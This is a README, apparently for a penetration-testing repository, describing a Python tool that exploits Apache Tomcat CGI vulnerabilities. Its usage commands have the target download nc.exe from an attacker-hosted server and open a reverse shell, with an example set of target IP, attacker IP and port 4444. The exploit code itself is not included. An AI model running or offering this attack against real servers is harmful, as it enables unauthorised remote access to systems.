Script d'Exploit CGI d'Apache Tomcat

Description

Un script Python conçu pour exploiter les vulnérabilités CGI sur les serveurs Apache Tomcat en exécutant une connexion de shell inversé.

Exemple d'Utilisation

Caractéristiques

• Exploit automatisé pour les vulnérabilités CGI d'Apache Tomcat
• Paramètres de cible et d'attaquant personnalisables
• Interface en ligne de commande simple

Prérequis

• Python 3.x
• Bibliothèque requests
• Netcat (nc.exe)
• Accès à un listener pour recevoir le shell inversé

Installation

git clone <url-del-repositorio>
cd <directorio-del-repositorio>
pip install requests

Utilisation

python3 tomcat_cgi_exploit.py -t <IP_OBJETIVO> -i <IP_ATACANTE> -ncp <PUERTO_SHELL_INVERSO>

Arguments Obligatoires

• -t, --target : Adresse IP de la cible avec Apache Tomcat
• -i, --ip : Adresse IP de l'attaquant hébergeant nc.exe
• -ncp, --nc-port : Port pour la connexion de shell inversé

Arguments Optionnels

• -p, --port : Port de la cible (par défaut : 8080)
• -sp, --server-port : Port du serveur pour héberger nc.exe (par défaut : 80)
• -cgi, --cgi-script : Nom du script CGI à exploiter (par défaut : cmd.bat)

Exemple

python3 tomcat_cgi_exploit.py -t 192.168.1.100 -i 192.168.1.50 -ncp 4444

Avertissement Légal

Cet outil est fourni uniquement à des fins éducatives et pour des tests de pénétration autorisés. L'auteur et les contributeurs ne sont pas responsables de toute mauvaise utilisation ou des dommages causés par ce script. Obtenez toujours une autorisation appropriée avant de tester un système.

Auteur

• Jose Miguel Romero (k3Pn1c)